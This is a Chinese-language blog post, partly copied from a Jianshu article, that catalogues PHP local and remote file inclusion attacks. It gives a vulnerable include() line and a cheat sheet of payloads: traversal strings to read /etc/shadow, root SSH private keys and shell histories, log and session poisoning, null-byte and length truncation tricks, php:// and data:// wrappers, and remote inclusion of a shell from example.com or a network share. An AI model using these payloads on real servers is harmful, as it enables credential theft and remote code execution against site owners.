这么长时间对文件包含都不甚了解,小小总结一下
文件包含大致分为本地包含和远程包含,这里先用include讲解吧。事实上扩展函数一大堆
在本地包含的时候,如果没有php代码,包含文件会把文件内容输出;如果存在php文件,或者包含了远程的恶意程序,当前代码就会引用执行包含的程序。
1. 普通本地文件包含
<?php include("inc/" . $_GET['file']); ?>
然后就可以遍历内容了,只要指导结构,且没设置权限。下面举几个例子
(linux中这两个文件储存着所有文件的路径,需要root权限)
?file=../../../../../../../../../var/lib/locate.db
?file=../../../../../../../../../var/lib/mlocate/mlocate.db
包含错误日志:
?file=../../../../../../../../../var/log/apache/error.log (试试把UA设置为“”来使payload进入日志)
获取web目录或者其他配置文件:
?file=../../../../../../../../../usr/local/apache2/conf/httpd.conf
读取session文件:
?file=../../../../../../tmp/sess_tnrdo9ub2tsdurntv0pdir1no7
(session文件一般在/tmp目录下,格式为sess_[your phpsessid value],有时候也有可能在/var/lib/php5之类的,在此之前建议先读取配置文件。在某些特定的情况下如果你能够控制session的值,也许你能够获得一个shell)
如果有root权限可以试试下面的:
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_rsa.keystore
/root/.ssh/id_rsa.pub
/root/.ssh/known_hosts
/etc/shadow
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]* (文件标识符)
/proc/mounts
/proc/config.gz
2.有限制的本地文件包含
<?php include("inc/" . $_GET['file'] . ".htm"); ?>
(1)%00截断:
?file=../../../../../../../../../etc/passwd%00
(需要 magic_quotes_gpc=off,PHP小于5.3.4有效)
(2)%00截断目录遍历:
?file=../../../../../../../../../var/www/%00
(需要 magic_quotes_gpc=off,unix文件系统,比如FreeBSD,OpenBSD,NetBSD,Solaris)
(3)路径长度截断:
?file=../../../../../../../../../etc/passwd/././././././.[…]/./././././.
(php版本小于5.2.8(?)可以成功,linux需要文件名长于4096,windows需要长于256)
(4)点号截断:
?file=../../../../../../../../../boot.ini/………[…]…………
(php版本小于5.2.8(?)可以成功,只适用windows,点号需要长于256)
3.普通远程文件包含
(1)远程代码执行:
?file=[http|https|ftp]://example.com/shell.txt
(需要allow_url_fopen=On并且 allow_url_include=On)
(2)利用php流input:
?file=php://input
(需要allow_url_include=On,详细→http://php.net/manual/en/wrappers.php.php)
(3)利用php流filter:
?file=php://filter/convert.base64-encode/resource=index.php
?file=php://filter/read=string.rot13/resource=main
?file=php://filter/read=string.strip_tags/resource=main
作者:王一航
链接:http://www.jianshu.com/p/fd9f38753078
來源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
(需要allow_url_include=On,详细→http://php.net/manual/en/wrappers.php.php)
(4)利用data URIs:
?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=
(需要allow_url_include=On)
(5)利用XSS执行任意代码:
?file=http://127.0.0.1/path/xss.php?xss=phpcode
(需要allow_url_fopen=On,allow_url_include=On并且防火墙或者白名单不允许访问外网时,先在同站点找一个XSS漏洞,包含这个页面,就可以注入恶意代码了。条件非常极端和特殊- -)
4.有限制的远程文件包含
?file=http://example.com/shell
?file=http://example.com/shell.txt?
?file=http://example.com/shell.txt%23
(需要allow_url_fopen=On并且allow_url_include=On)
?file=\evilshare\shell.php (只需要allow_url_include=On)
基本上是借鉴别人的总结,但是发一下加深印象。以后有新的再补充。